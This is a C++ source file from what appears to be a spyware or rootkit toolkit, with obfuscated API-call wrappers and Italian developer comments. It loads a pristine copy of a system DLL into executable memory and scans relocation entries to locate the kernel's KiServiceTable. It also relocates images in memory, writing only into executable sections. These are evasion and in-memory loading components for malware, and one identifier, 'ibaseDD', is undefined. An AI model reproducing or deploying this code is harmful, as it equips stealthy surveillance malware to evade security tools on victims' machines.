HM_Reloc.cpp
#include "HM_Reloc.h"
#include "HM_SafeProcedures.h"
#include "common.h"
BOOL readPEInfo(char *modulePos, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, SectionHeader **outSecHdr)
{
MZHeader *mzH;
mzH = (MZHeader *)modulePos;
if(mzH->signature != 0x5a4d)
return FALSE;
PE_Header *peH;
peH = (PE_Header *)(modulePos + mzH->offsetToPE);
if(peH->sizeOfOptionHeader != sizeof(PE_ExtHeader))
return FALSE;
PE_ExtHeader *peXH;
peXH = (PE_ExtHeader *)((char *)peH + sizeof(PE_Header));
SectionHeader *secHdr = (SectionHeader *)((char *)peXH + sizeof(PE_ExtHeader));
*outMZ = *mzH;
*outPE = *peH;
*outpeXH = *peXH;
*outSecHdr = secHdr;
return TRUE;
}
//*******************************************************************************************************
// Returns the total size required to load a PE image into memory
//
//*******************************************************************************************************
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;
if(inpeXH->sizeOfHeaders % alignment == 0)
result += inpeXH->sizeOfHeaders;
else
{
int val = inpeXH->sizeOfHeaders / alignment;
val++;
result += (val * alignment);
}
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].virtualSize)
{
if(inSecHdr[i].virtualSize % alignment == 0)
result += inSecHdr[i].virtualSize;
else
{
int val = inSecHdr[i].virtualSize / alignment;
val++;
result += (val * alignment);
}
}
}
return result;
}
//*******************************************************************************************************
// Returns the aligned size of a section
//
//*******************************************************************************************************
ULONG getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if(curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}
//*******************************************************************************************************
// Copy a PE image from exePtr to ptrLoc with proper memory alignment of all sections
//
//*******************************************************************************************************
BOOL loadPE(char *exePtr, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;
memcpy(outPtr, exePtr, inpeXH->sizeOfHeaders);
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].sizeOfRawData > 0)
{
unsigned long toRead = inSecHdr[i].sizeOfRawData;
if(toRead > inSecHdr[i].virtualSize)
toRead = inSecHdr[i].virtualSize;
memcpy(outPtr, exePtr + inSecHdr[i].pointerToRawData, toRead);
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
}
return true;
}
//*******************************************************************************************************
// Loads the DLL into memory and align it
//
//*******************************************************************************************************
LPVOID loadDLL(char *dllName)
{
char moduleFilename[MAX_PATH + 1];
LPVOID ptrLoc = NULL;
MZHeader mzH2;
PE_Header peH2;
PE_ExtHeader peXH2;
SectionHeader *secHdr2;
FNC(GetSystemDirectoryA)(moduleFilename, MAX_PATH);
if((myStrlenA(moduleFilename) + myStrlenA(dllName)) >= MAX_PATH)
return NULL;
strncat_s(moduleFilename, MAX_PATH, dllName, MAX_PATH);
// load this EXE into memory because we need its original Import Hint Table
HANDLE fp;
fp = FNC(CreateFileA)(moduleFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(fp != INVALID_HANDLE_VALUE)
{
BY_HANDLE_FILE_INFORMATION fileInfo;
FNC(GetFileInformationByHandle)(fp, &fileInfo);
DWORD fileSize = fileInfo.nFileSizeLow;
if(fileSize)
{
LPVOID exePtr = HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(exePtr)
{
DWORD read;
if(FNC(ReadFile)(fp, exePtr, fileSize, &read, NULL) && read == fileSize)
{
if(readPEInfo((char *)exePtr, &mzH2, &peH2, &peXH2, &secHdr2))
{
int imageSize = calcTotalImageSize(&mzH2, &peH2, &peXH2, secHdr2);
ptrLoc = HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//ptrLoc = HeapAlloc(GetProcessHeap(), 0, imageSize);
if(ptrLoc)
{
loadPE((char *)exePtr, &mzH2, &peH2, &peXH2, secHdr2, ptrLoc);
}
}
}
//HeapFree(GetProcessHeap(), 0, exePtr);
FNC(VirtualFreeEx)(FNC(GetCurrentProcess)(), exePtr, 0, MEM_RELEASE);
}
}
CloseHandle(fp);
}
return ptrLoc;
}
DWORD myStrlenA(char *ptr)
{
DWORD len = 0;
while(*ptr)
{
len++;
ptr++;
}
return len;
}
DWORD GetHeaders(PCHAR ibase,
PIMAGE_FILE_HEADER *pFH,
PIMAGE_OPTIONAL_HEADER *pOH,
PIMAGE_SECTION_HEADER *pSH)
{
PIMAGE_DOS_HEADER mzhead = (PIMAGE_DOS_HEADER) ibase;
if( (mzhead->e_magic != IMAGE_DOS_SIGNATURE) ||
(ibaseDD[mzhead->e_lfanew] != IMAGE_NT_SIGNATURE) )
return false;
*pFH = (PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if( ((PIMAGE_NT_HEADERS)*pFH)->Signature != IMAGE_NT_SIGNATURE )
return false;
*pFH = (PIMAGE_FILE_HEADER)((PBYTE)*pFH + sizeof(IMAGE_NT_SIGNATURE));
*pOH = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*pFH + sizeof(IMAGE_FILE_HEADER));
if ((*pOH)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
return false;
*pSH = (PIMAGE_SECTION_HEADER)((PBYTE)*pOH + sizeof(IMAGE_OPTIONAL_HEADER));
return true;
}
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
PIMAGE_FILE_HEADER pFH;
PIMAGE_OPTIONAL_HEADER pOH;
PIMAGE_SECTION_HEADER pSH;
PIMAGE_BASE_RELOCATION pBR;
PIMAGE_FIXUP_ENTRY pFE;
DWORD dwFixups=0,i;
DWORD dwPointerRva;
DWORD dwPointsToRva;
DWORD dwKiServiceTable;
BOOL bFirstChunk;
if( !GetHeaders((PCHAR)hModule,&pFH,&pOH,&pSH) )
return NULL;
if( (pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
!((pFH->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED) ) {
pBR = (PIMAGE_BASE_RELOCATION) RVATOVA(pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk = true;
while( bFirstChunk || pBR->VirtualAddress ) {
bFirstChunk = false;
pFE = (PIMAGE_FIXUP_ENTRY)((DWORD)pBR + sizeof(IMAGE_BASE_RELOCATION));
for( i=0; i < (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))>>1; i++,pFE++ ) {
if( pFE->type == IMAGE_REL_BASED_HIGHLOW ) {
dwFixups++;
dwPointerRva = pBR->VirtualAddress + pFE->offset;
dwPointsToRva = *(PDWORD)((DWORD)hModule + dwPointerRva) - (DWORD)pOH->ImageBase;
if( dwPointsToRva == dwKSDT ) {
if( *(PWORD)((DWORD)hModule + dwPointerRva - 2) == 0x05c7 ) {
dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwPointerRva + 4) - pOH->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pBR += pBR->SizeOfBlock;
}
}
return NULL;
}
BOOL RelocImage(PVOID exeAddr, PVOID newAddr)
{
MZHeader mzH2;
PE_Header peH2;
PE_ExtHeader peXH2;
SectionHeader *secHdr2;
if (!exeAddr || !newAddr)
return FALSE;
if(!readPEInfo((char *)exeAddr, &mzH2, &peH2, &peXH2, &secHdr2))
return FALSE;
if(peXH2.relocationTableAddress && peXH2.relocationTableSize) {
FixupBlock *fixBlk = (FixupBlock *)((char *)exeAddr + peXH2.relocationTableAddress);
while(fixBlk->blockSize) {
// Que - Questa funzione imposta _flags_ alle caratteristiche della sezione, in modo da
// rilocare soltanto le entry di quelle sezioni che sono eseguibili. La mettiamo qui
// cosi' evitiamo overhead, tanto ogni blocco si trova sicuramente all'interno della
// stessa sezione.
DWORD flags = 0;
for(int j = 0; j < peH2.numSections; j++){
if(peXH2.imageBase + fixBlk->pageRVA >= peXH2.imageBase + secHdr2[j].virtualAddress &&
peXH2.imageBase + fixBlk->pageRVA < peXH2.imageBase + secHdr2[j].virtualAddress +
secHdr2[j].virtualSize){
flags = secHdr2[j].characteristics;
break;
}
flags = 0;
}
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
for(int i = 0; i < numEntries; i++) {
int relocType = (*offsetPtr & 0xF000) >> 12;
if(relocType == 3) {
DWORD *codeLoc = (DWORD *)((char *)exeAddr + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
DWORD delta = (DWORD)newAddr - (DWORD)peXH2.imageBase;
DWORD value = (*codeLoc) + delta;
DWORD dummy;
if(flags && (flags & IMAGE_SCN_MEM_EXECUTE))
HM_SafeWriteProcessMemory(FNC(GetCurrentProcess)(), codeLoc, &value, sizeof(DWORD), &dummy);
}
offsetPtr++;
}
fixBlk = (FixupBlock *)offsetPtr;
}
return TRUE;
}
return FALSE;
}